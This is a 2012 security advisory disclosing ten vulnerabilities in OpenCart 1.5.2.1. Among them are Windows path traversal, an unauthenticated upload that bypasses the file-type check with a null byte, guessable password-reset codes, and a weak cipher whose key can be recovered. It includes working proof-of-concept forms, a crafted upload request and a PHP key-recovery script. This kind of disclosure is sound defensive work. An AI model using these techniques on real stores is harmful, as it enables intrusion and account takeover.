1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 |
Author: Janek Vind "waraxe" Date: 06. April 2012 Location: Estonia, Tartu Web: http://www.waraxe.us/advisory-84.html Description of vulnerable software: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ OpenCart is a turn-key ready "out of the box" shopping cart solution. You simply install, select your template, add products and your ready to start accepting orders. http://www.opencart.com/ Vulnerable versions ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Affected is OpenCart version 1.5.2.1, older versions may be vulnerable as well. ############################################################################### 1. Local File Inclusion in "action.php" ############################################################################### Reason: using unsanitized user submitted data for file operations Attack vector: user submitted GET parameter "route" Preconditions: 1. Windows platform 2. PHP version must be < 5.3.4 for null-byte attacks to work Result: remote file disclosure, php remote code execution Source code snippet from script "index.php": -----------------[ source code start ]--------------------------------- // Router if (isset($request->get['route'])) { $action = new Action($request->get['route']); -----------------[ source code end ]----------------------------------- We can see, that user submitted parameter "route" is used as argument for class "Action" initialization. Source code snippet from vulnerable script "action.php": -----------------[ source code start ]--------------------------------- final class Action { protected $file; ... public function __construct($route, $args = array()) { $path = ''; $parts = explode('/', str_replace('../', '', (string)$route)); foreach ($parts as $part) { $path .= $part; if (is_dir(DIR_APPLICATION . 'controller/' . $path)) { $path .= '/'; array_shift($parts); continue; } if (is_file(DIR_APPLICATION . 'controller/' . str_replace('../', '', $path) . '.php')) { $this->file = DIR_APPLICATION . 'controller/' . str_replace('../', '', $path) . '.php'; -----------------[ source code end ]----------------------------------- As seen above, user submitted parameter "route" is sanitized twice against potrential directory traversal components ("../") and then used as source for class member "file". Finally it comes to this: -----------------[ source code start ]--------------------------------- private function execute($action) { $file = $action->getFile(); ... if (file_exists($file)) { require_once($file); -----------------[ source code end ]----------------------------------- As we can see, previously constructed file path is used as argument for php function "require_once()". Sanitization against "../" works well in most cases, but in case of underlying Windows operating system attacker can use backslashes and bypass such filtering with use of "..\". Test (on Windows platform): http://localhost/opencart1521/index.php?route=..\..\admin\index Result: Fatal error: Cannot redeclare error_handler() (previously declared in C:\apache_www\opencart1521\index.php:78) in C:\apache_www\opencart1521\admin\index.php on line 87 Error message above indicates, that directory traversal was successful and php script "admin/index.php" was included as expected. ############################################################################### 2. Arbitrary File Upload in "product.php" ############################################################################### Reason: insufficient authorization and input data validation Attack vector: user submitted file upload via POST request Preconditions: 1. PHP version must be < 5.3.4 for null-byte attacks to work Result: remote code execution It appears, that OpenCart allows file upload functionality to anyone. No authentication or authorization at all. Test: for testing let's use html form below: -----------------[ PoC code start ]----------------------------------- <html><body><center> <form action="http://localhost/opencart1521/index.php?route=product/product/upload" method="post" enctype="multipart/form-data"> <input type="file" name="file"> <input type="submit" value="Upload test"> </form> </center></body></html> -----------------[ PoC code end ]----------------------------------- Result: {"file":"pJhdgHSudwNdiwdjMLpwdsKSJWSocdwcwoSOJOdwdduwjSSIisdsdiSWswd==", "success":"Your file was successfully uploaded!"} There are some mitigating factors though: 1. files are uploaded to "download" directory, but filenames are random. As we can see above, server response contains filename on JSON format, but it's encrypted. Random filename example: waraxe.jpg.620d348d4551ea2870e4cb602881a1d8 2. upload script allows through only files with specific extensions - images and text files. If we try to upload file "test.php", then server responds as: {"error":"Invalid file type!"} Source code snippet from script "product.php": -----------------[ source code start ]--------------------------------- public function upload() { ... if (!empty($this->request->files['file']['name'])) { $filename = basename(html_entity_decode($this->request->files['file']['name'], ENT_QUOTES, 'UTF-8')); ... $allowed = array(); $filetypes = explode(',', $this->config->get('config_upload_allowed')); foreach ($filetypes as $filetype) { $allowed[] = trim($filetype); } if (!in_array(substr(strrchr($filename, '.'), 1), $allowed)) { $json['error'] = $this->language->get('error_filetype'); } ... if (!$json) { if (is_uploaded_file($this->request->files['file']['tmp_name']) && file_exists($this->request->files['file']['tmp_name'])) { $file = basename($filename) . '.' . md5(rand()); // Hide the uploaded file name so people can not link to it directly. $json['file'] = $this->encryption->encrypt($file); move_uploaded_file($this->request->files['file']['tmp_name'], DIR_DOWNLOAD . $file); -----------------[ source code end ]----------------------------------- As we can see, uploaded file extension is checked against allowed values, which prohibits from direct upload of php files and other interesting content. Attacker can upload images with php code inside, but it is useful only with additional LFI vulnerabilities. So question is, can we bypass file extension checks? How about null bytes? Little testing with php shows, that original filename, coming from $_FILES array, cannot contain null bytes. OK, that's understandable, php engine tries to be secure. But wait a minute ... how about "html_entity_decode" function, which is used against original filename, coming from $_FILES array? Quick test shows, that using "�" or even "&#;" in original filename will be transformed to null byte, which allows as bypass file extension checks. So how to test this? I wrote little php script for proof of concept, below is fragment from specific POST request, which does the magic: Content-Type: multipart/form-data; boundary=---------------------------146043902153 Content-Length: 212 -----------------------------146043902153 Content-Disposition: form-data; name="file"; filename="test.php&#;.jpg" Content-Type: image/jpeg <?php phpinfo(); ?> -----------------------------146043902153-- There is even easier way to exploit this vulnerability. We can write php script with contents "<?php phpinfo();?>" inside and with filename "test.php&#;.jpg". We can use same html form for upload, as seen above and this time php file upload succeeds! ############################################################################### 3. Insufficiently random names for uploaded files in "product.php" ############################################################################### Reason: using of "rand()" function, which has known weaknesses Preconditions: Windows platform Source code snippet from script "product.php": -----------------[ source code start ]--------------------------------- public function upload() { ... $file = basename($filename) . '.' . md5(rand()); ... move_uploaded_file($this->request->files['file']['tmp_name'], DIR_DOWNLOAD . $file); -----------------[ source code end ]----------------------------------- In previous vulnerability analysis we saw, that unauthorized upload vulnerability exists, but uploaded file is saved with random filename, which makes exploitation harder. As seen from source code snippet above, randomness in filename is caused by using "md5(rand())". In case of *nix platforms this means > 2 000 000 000 possible filenames. But Windows platform is different. From php manual: "If called without the optional min, max arguments rand() returns a pseudo-random integer between 0 and getrandmax(). Note: On some platforms (such as Windows), getrandmax() is only 32767." So it appears, that on Windows platform there is only about 32768 possible filenames and therefore simple bruteforce can reveal valid path to uploaded file. ############################################################################### 4. Inadequate Encryption Strength ############################################################################### Reason: Weak encryption algorithm used in OpenCart Preconditions: none Result: attacker can use Known Plaintext Attack and obtain encryption key http://opencarthelp.com/a/?q=improve-opencart-security#change_encryption_key "Change your encryption key (PCI) Changing the encryption key will help increase security for your store as a whole. By default the encryption key for processing orders is set to 12345. To change it to a unique series, in Admin go to System -> Settings and click Edit for your store. Encryption Key can be found under the Server tab." Method "encrypt()" in "encryption.php": -----------------[ source code start ]--------------------------------- function encrypt($value) { ... $output = ''; for ($i = 0; $i < strlen($value); $i++) { $char = substr($value, $i, 1); $keychar = substr($this->key, ($i % strlen($this->key)) - 1, 1); $char = chr(ord($char) + ord($keychar)); $output .= $char; } return base64_encode($output); } -----------------[ source code end ]----------------------------------- As we can see, it is very weak encryption scheme, which is vulnerable to Known Plaintext Attack. Default encryption key after OpenCart installation is "12345" and same key is used in multiple places in OpenCart functionality. One use of this encryption is obfuscation of uploaded file path: Source code snippet from script "product.php": -----------------[ source code start ]--------------------------------- public function upload() { ... $file = basename($filename) . '.' . md5(rand()); // Hide the uploaded file name so people can not link to it directly. $json['file'] = $this->encryption->encrypt($file); move_uploaded_file($this->request->files['file']['tmp_name'], DIR_DOWNLOAD . $file); ... $this->response->setOutput(json_encode($json)); -----------------[ source code end ]----------------------------------- As shown in previous analysis, attacker has the ability to upload files to target system. In case of successful upload there is JSON-encoded string, which contains uploaded file path encrypted with same algorithm, as discussed. So here is known plaintext attack scenario for key retrieval: 1. attacker uploads file with known filename, for example: 1111111111111111111111111111111111111111.jpg 2. server responds with JSON-encoded string: {"file":"ZmJjZGVmYmNkZWZiY2RlZmJjZGVmYmNkZWZiY2RlZmJjZGVmYmNkZWOboppil2 FlaJhrZmhmlWeSlpSXbpdqZWZuZWKWZWlmZGlnmJY=","success": "Your file was successfully uploaded!"} 3. attacker base64-decodes parameter "file", does simple arithmetics (keychar = cryptchar - plainchar) and recovers original key byte-by-byte. Below is php script for proof of concept: -----------------[ PoC code start ]----------------------------------- <?php error_reporting(E_ALL); $plaintext = '1111111111111111111111111111111111111111'; $crypted_b64 = 'ZmJjZGVmYmNkZWZiY2RlZmJjZGVmYmNkZWZiY2RlZmJjZGVmYmNkZWOboppil2 FlaJhrZmhmlWeSlpSXbpdqZWZuZWKWZWlmZGlnmJY'; $pt_len = strlen($plaintext); $crypted_bin = base64_decode($crypted_b64); $key = ''; for($i = 0; $i < $pt_len; $i ++) { $cc = substr($crypted_bin, $i, 1); $pc = substr($plaintext, $i, 1); $c = chr(ord($cc) - ord($pc)); $key .= $c; } echo "Key: {$key}"; ?> -----------------[ PoC code end ]----------------------------------- ############################################################################### 5. HTTP Response Splitting Vulnerability in "controller.php" ############################################################################### Reason: using unsanitized user submitted data for HTTP headers generation Attack vector: user submitted POST parameter "redirect" Preconditions: 1. PHP version must be < 4.4.2 for HTTP Response Splitting attacks to work Source code snippet from script "language.php": -----------------[ source code start ]--------------------------------- protected function index() { ... if (isset($this->request->post['redirect'])) { $this->redirect($this->request->post['redirect']); -----------------[ source code end ]----------------------------------- Source code snippet from script "controller.php": -----------------[ source code start ]--------------------------------- protected function redirect($url, $status = 302) { header('Status: ' . $status); header('Location: ' . str_replace('&', '&', $url)); exit(); } -----------------[ source code end ]----------------------------------- We can see, that unvalidated user submitted POST parameter "redirect" is used for HTTP header generation. Therefore HTTP Response Splitting Vulnerability exists in source code above. Test: -----------------[ PoC code start ]----------------------------------- <html><body><center> <form action="http://localhost/opencart1521/" method="post"> <input type="hidden" name="language_code" value="en"> <input type="hidden" name="redirect" value="?route=common/home
foo=bar
"> <input type="submit" value="Test"> </form> </center></body></html> -----------------[ PoC code end ]----------------------------------- Result: Warning: Header may not contain more than a single header, new line detected. in C:\apache_www\opencart1521\system\engine\controller.php on line 29 As we can see, current php version is protected against HTTP header injections, but error message clearly shows, that HTTP Response Splitting Vulerability exists and is exploitable in case of older php versions. Because HTTP header generation is done without any validation, attacker is able to use OpenCart installation for malicious redirects to arbitrary websites. It means that OpenCart has Open Redirect Vulnerability as well :) ############################################################################### 6. Insufficiently random names for uploaded files in "download.php" ############################################################################### Reason: using of "rand()" function, which has known weaknesses Preconditions: 1. Windows platform 2. Admin privileges needed Source code snippet from script "download.php": -----------------[ source code start ]--------------------------------- public function insert() { ... if (is_uploaded_file($this->request->files['download']['tmp_name'])) { $filename = $this->request->files['download']['name'] . '.' . md5(rand()); move_uploaded_file($this->request->files['download']['tmp_name'], DIR_DOWNLOAD . $filename); ... public function update() { ... if (is_uploaded_file($this->request->files['download']['tmp_name'])) { $filename = $this->request->files['download']['name'] . '.' . md5(rand()); move_uploaded_file($this->request->files['download']['tmp_name'], DIR_DOWNLOAD . $filename); -----------------[ source code end ]----------------------------------- Same problem, as in case of vulnerability #3: on Windows platform there is only about 32768 possible filenames and therefore simple bruteforce can reveal valid path to uploaded file. ############################################################################### 7. Admin Password Reset Vulnerability ############################################################################### Reason: using of "rand()" function, which has known weaknesses Preconditions: 1. Windows platform 2. Admin email must be known Result: attacker can reset admin password Source code snippet from script "admin/controller/common/forgotten.php": -----------------[ source code start ]--------------------------------- class ControllerCommonForgotten extends Controller { ... if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) { $this->language->load('mail/forgotten'); $code = md5(rand()); $this->model_user_user->editCode($this->request->post['email'], $code); $subject = sprintf($this->language->get('text_subject'), $this->config->get('config_name')); $message = sprintf($this->language->get('text_greeting'), $this->config->get('config_name')) . " "; $message .= sprintf($this->language->get('text_change'), $this->config->get('config_name')) . " "; $message .= $this->url->link('common/reset', 'code=' . $code, 'SSL') . " "; -----------------[ source code end ]----------------------------------- As described previously, using "md5(rand())" on Windows platform means, that there is only about 32768 different confirmation codes for admin password reset and therefore admin account takeover is possible by using bruteforce attack. ############################################################################### 8. Customer Password Reset Vulnerability ############################################################################### Reason: using of "rand()" function, which has known weaknesses Preconditions: 1. Windows platform 2. Customer email must be known Result: attacker can reset customer password Source code snippet from script "catalog/controller/account/forgotten.php": -----------------[ source code start ]--------------------------------- $password = substr(md5(rand()), 0, 7); $this->model_account_customer->editPassword($this->request->post['email'], $password); ... $message .= $this->language->get('text_password') . " "; $message .= $password; -----------------[ source code end ]----------------------------------- Same problem as in previous case: using "md5(rand())" on Windows platform means, that there is only about 32768 different new passwords after customer password reset, therefore customer account takeover is possible by using bruteforce attack. ############################################################################### 9. Affiliate Password Reset Vulnerability ############################################################################### Reason: using of "rand()" function, which has known weaknesses Preconditions: 1. Windows platform 2. Affiliate email must be known Result: attacker can reset affiliate password Source code snippet from script "catalog/controller/affiliate/forgotten.php": -----------------[ source code start ]--------------------------------- $password = substr(md5(rand()), 0, 7); $this->model_affiliate_affiliate->editPassword($this->request->post['email'], $password); ... $message .= $this->language->get('text_password') . " "; $message .= $password; -----------------[ source code end ]----------------------------------- Same problem as in previous cases: using "md5(rand())" on Windows platform means, that there is only about 32768 different new passwords after affiliate password reset, therefore affiliate account takeover is possible by using bruteforce attack. ############################################################### 10. Path Disclosure in multiple php scripts ############################################################### http://localhost/opencart1521/index.php?route[] Warning: substr() expects parameter 1 to be string, array given in C:\apache_www\opencart1521\catalog\controller\common\column_left.php http://localhost/opencart1521/index.php?route=product/product&path[] Warning: explode() expects parameter 2 to be string, array given in C:\apache_www\opencart1521\catalog\controller\product\product.php on line 21 http://localhost/opencart1521/index.php?route=product/search&filter_name[] Warning: explode() expects parameter 2 to be string, array given in C:\apache_www\opencart1521\catalog\model\catalog\product.php on line 432 http://localhost/opencart1521/index.php?route=product/search&filter_name=waraxe&limit[] Fatal error: Unsupported operand types in C:\apache_www\opencart1521\catalog\controller\product\search.php on line 206 http://localhost/opencart1521/index.php?route=product/search&filter_tag[] Warning: explode() expects parameter 2 to be string, array given in C:\apache_www\opencart1521\catalog\model\catalog\product.php on line 454 http://localhost/opencart1521/admin/index.php?route=common/reset&code[] Warning: mysql_real_escape_string() expects parameter 1 to be string, array given in C:\apache_www\opencart1521\system\database\mysql.php on line 55 Contact: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ come2waraxe@yahoo.com Janek Vind "waraxe" Waraxe forum: http://www.waraxe.us/forums.html Personal homepage: http://www.janekvind.com/ Random project: http://albumnow.com/ ---------------------------------- [ EOF ] ------------------------------------ |